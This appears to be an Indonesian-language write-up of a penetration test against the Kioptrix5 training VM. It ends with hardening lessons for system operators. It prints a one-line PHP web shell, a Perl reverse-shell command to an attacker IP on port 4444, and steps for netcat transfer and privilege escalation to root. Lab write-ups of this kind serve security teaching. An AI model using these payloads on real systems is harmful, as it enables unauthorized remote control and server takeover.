Berikut ini adalah langkah-langkah untuk menggunakan feature intruder pada aplikasi burpsuite dengan menggunakan payload.

Gambar 11. Menggunakan feature intercept dan mengarahkan pada feature intruder
Gambar 12. Memilih posisi payload pada intruder
Gambar 13. Menggunakan daftar payload berdasarkan default configuration file pada Apache bagi sistem operasi FreeBSD
Gambar 14. Informasi sensitif pada Kioptrix5 yaitu versi dari sistem operasi FreeBSD

Informasi sensitif yang sangat bernilai bagi penyerang adalah versi dari sistem operasi FreeBSD, yaitu FreeBSD Release 9.0. Sebagaimana kita ketahui pada Tahap Scanning dan Enumeration, berbagai perangkat yang digunakan untuk mengumpulkan informasi hanya dapat mengidentifikasi nama sistem operasi yang digunakan. Namun mereka tak dapat mengidentifikasi versi dari sistem operasi tersebut.

Selanjutnya kita akan membaca file konfigurasi pada apache, yaitu httpd.conf yang terletak pada /usr/local/etc/apache22/httpd.conf. Informasi pada file tersebut penting untuk ditelusuri, perhatikan rangakaian langkah pada gambar-gambar berikut:

Gambar 15. Mengkonfigurasi path untuk default configuration pada Apache
Gambar 16. Untuk mengakses file pada Apache yang mengunakan sistem operasi FreeBSD Release 9.0 harus menggunakan browser Mozilla 4.0

Informasi penting yang berguna adalah untuk mengakses file pada Apache yang menggunakan sistem operasi FreeBSD Release 9.0 harus menggunakan browser Mozilla versi 4.0. Untuk itu, kita kembali akan menggunakan aplikasi burpsuite untuk memanfaatkan informasi tersebut. Berikut ini adalah rangkaian langkah pada gambar sebagai berikut.

Gambar 17. Mengubah bowser menjadi Mozilla versi 4.0 pada burpsuite
Gambar 18. Mengakses file dan aplikasi yang semula tak dapat diakses pada apache
Gambar 18. Mengakses aplikasi phptax pada server Kioptrix5

Setelah kita mengganti dengan browser Mozilla versi 4.0, ternyata sekarang kita dapat mengakses file dan aplikasi yang semula tidak dapat dilakukan (Forbidden). Dan kita menemukan adanya aplikasi phptax pada server Kioptrix5. Aplikasi ini disediakan oleh pemerintah Amerika bagi warganya untuk menghitung pajak penghasilan.

Hasil penelusuran kerentanan aplikasi phptax pada exploitdb menunjukkan bahwa ia memiliki kerentanan berupa Remote Code Execution atau RCE (lihat: https://www.exploit-db.com/exploits/25849). Ada dua opsi yang tersedia untuk mendapatkan limited shell melalui kerentanan ini, yaitu cara otomatis menggunakan metasploit dan cara manual. Pada artikel kali ini kita akan menggunakan cara manual untuk mendapatkan limited shell pada server Kioptrix5.

Kita akan membuat file bernama rce.php. File ini akan menggunakan fungsi passthru yang tersedia pada PHP versi 5.3.8 yang isinya meminta input dari attacker untuk kemudian dieksekusi pada sistem operasi.

<?php passthru($_GET[cmd]);?>

File tersebut di-encode terlebih dulu dengan URL Encoding. Kita dapat menggunakan feature decoder pada burpsuite, yaitu sebgaimana gambar sebagai berikut:

Gambar 19. Melakukan URL Encoding untuk membuat file rce.php

Setelah kita berhasil membuat URL Encoding untuk file rce.php, maka selanjutnya kita akan menggunakan GET method menggunakan browser untuk mengirimkan payload tersebut pada aplikasi phptax sebagaimana gambar berikut.

Gambar 20. Mengirimkan payload yang sudah dilakukan URL Encoding
Gambar 20. File rce.php dapat mengeksekusi perintah pada sistem operasi pada server Kioptrix5
Gambar 21. File rce.php dapat mengeksekusi perintah hostname pada target

Setelah payload dalam bentuk format URL Encoding dikirim melalui GET Method, nampak bahwa file rce.php dapat mengeksekusi perintah pada sistem operasi dengan baik. Pada Gambar 20 terlihat file tersebut dapat mengeksekusi perintah id menggunakan parameter cmd. Hasil eksekusi perintah id adalah menjelaskan user account yang digunakan untuk mengkases web server pada server Kioptrix5, yaitu www. Demikian juga dengan perintah hostname pada gambar 21.

Setelah file rce.php bekerja dan parameter cmd dapat menerima perintah dari penyerang. Kini tiba saatnya kita mengirimkan perintah reverse shell pada server Kioptrix5 untuk mendaptkan limited shell. Kita akan menggunakan perl, yaitu sebagai berikut:

perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"192.168.216.154:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Setelah dilakukan URL Encoding pada script perl tersebut, kita mengirimkannya melalui parameter cmd dengan GET Method pada browser. Sedangkan pada sisi penyerang kita mengaktifkan netcat untuk mengaktifkan port 4444. Gambar-gambar berikut ini menjelaskan bahwa langkah-langkah tersebut telah membuat kita mendapatkan limited shell.

Gambar 22. Mengeksekusi perl script pada victim untuk melakukan reverse shell
Gambar 22. Penyerang berhasil mendapatkan limited shell pada server Kioptrix5

Dengan melakukan fasilitas searchsploit pada Kali Linux, kita mendapatkan dua buah kandidat exploit yang dapat digunakan untuk meningkatkan hak akses dari www menjadi root.

Gambar 23. Dua buah exploit yang dapat digunakan untuk meningkatkan hak akses

Selanjutnya kita menyiapkan file exploit 28718.c untuk ditransfer serta menggunakan perangkat netcat dengan mengaktifkan port 4444, sebagaimana gambar berikut ini:

Gambar 24. Menyiapkan file exploit untuk diunduh dari victim menggunakan netcat

Dari server Kioptrix5 sebagai victim, kita menggunakan netcat untuk mengunduh file exploit dari penyerang (lihat gambar 25). Hal ini kita lakukan karena tidak ada aplikasi wget maupun ftp client pada victim.

Gambar 25. Mengunduh file exploit dari penyerang dengan netcat

Setelah berhasil diunduh maka kita meng-compile file exploit pada victim menggunakan compiler gcc, melakukan verifikasi bahwa file ter-compile tanpa error. Selanjutnya mengeksekusi file exploit tersebut untuk meningkatkan hak akses kita dari user account www menjadi user account root sebagaimana gambar berikut ini.

Gambar 26. Meng-compile file exploit yang telah diunduh dengan compiler gcc
Gambar 27. Mengeksekusi file untuk mendapatkan hak akses root pada server Kioptrix5

Akhirnya penyerang dapat menguasai server Kioptrix seutuhnya setelah berhasil meningkatkan hak akses dari www menjadi root. Sampai disini penyerang dapat berbuat sesukanya dan melakukan berbagai langkah lanjutan sesuai obyektif yang akan dicapai.

Lesson Learned

Ada dua pelajaran penting dari seri terakhir serial Kioptrix bagi Penyelenggara Sistem Elektronik ini yaitu:

Pelajaran pertama, jangan menganggap remeh sekecil apapun informasi yang bocor ke internet. Serangan ini diawali dengan adanya informasi tentang sistem operasi FreeBSD yang digunakan oleh server tanpa diketahui versinya. Informasi “remeh” lainnya server menggunakan library PHP pChart 2.1.3. Dengan kedua informasi ini penyerang dapat menelusuri lebih lanjut untuk melakukan serangan yang akhirnya dapat menguasai server secara utuh.

Pelajaran kedua, hati-hati dengan default configuration pada web server. Sebaiknya dilakukan hardening terlebih dahulu sebelum sebuah server akan diakses melalui internet. Tentunya dengan mengacu pada best practice dan rekomendasi, salah satu diantaranya adalah dari Center of Internet Security. Mereka mempublikasikan baseline untuk melakukan hardening pada server yang menggunakan sistem operasi FreeBSD, yang dapat diunduh pada link berikut ini: https://www.cisecurity.org/wp-content/uploads/2018/02/FreeBSD_benchmark_v1.0.5.pdf

Mudah-mudahan artikel ini bermanfaat bagi Penyelenggara Sistem Elektronik dalam mengamankan data-data pribadi milik penggunananya Amin YRA.